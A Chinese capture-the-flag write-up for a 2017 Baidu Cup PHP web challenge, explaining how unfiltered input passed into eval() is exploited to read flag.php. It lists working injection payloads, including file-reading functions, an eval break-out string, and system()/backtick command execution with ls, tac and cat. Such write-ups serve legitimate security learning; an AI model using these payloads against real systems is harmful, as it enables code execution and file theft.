“百度杯”CTF比赛 2017 二月场
爆破-2
类型:misc-web
题目描述:flag不在变量中。
解题方法:打开靶机,得到一段php源码:
代码审计:
1.里面包含了flag.php
文件
2.获取hello的值,并用var_dump
函数输出相关的变量信息
我们试着传入参数:
?hello=$GLOBALS
这里我们发现flag的信息并没有在变量中,那我们猜测flag的值应该是藏在flag.php
的源码中,分析代码是发现这里也没有设置过滤,就可以通过eval( "var_dump($a);");
函数,就有好多种方法来获取flag.php
的源码
方法一:
file_get_contents函数
file_get_contents函数把整个文件读入一个字符串中
构造payload就可以得到源码:
?hello=file_get_contents('flag.php')
查看网页源码就可以得到flag:
方法二:
file()函数:
file()函数与file_get_contents()类似,不同的是file()将文件作为一个数组返回,数组中的每个单元都是文件中相应的一行,包括换行符在内
构造payload:
?hello=file('flag.php')
方法三:
show_source函数和highlight_file函数:对文件进行高亮显示
用法:可以直接用:
?hello=show_source('flag.php')
?hello=highlight_file('flag.php')
也可以通过该函数对eval()函数进行截断重组,但是要保持eval()函数里面php代码的正确性:
hello=1);show_source('flag.php');echo(1
hello=1);highlight_file('flag.php');echo(1
对应的eval语句就是:
eval( "var_dump(1);show_source('flag.php');echo(1);");
即可得到flag
方法四:
可以通过linux命令来进行读取:
查看里面的文件:
?hello=system('ls')
可以用tac命令来读取flag
tac倒过来就是cat,是将文件倒着显示,即文章最后一行显示在最上边读取flag.php:
?hello=system('tac flag.php')
因为这里没有设置过滤,可以通过对eval()函数截断重组,注意要保持eval()函数里面php代码的正确性
通过测试,cat、tac、more、less、head、tail都可以使用
以cat为例来构造payload:
hello=1);echo `cat flag.php`; echo(1
查看源代码即可得到flag
标签:函数,flag,CTF,file,eval,2017,php,hello,百度 From: https://www.cnblogs.com/xyweiwen/p/18101932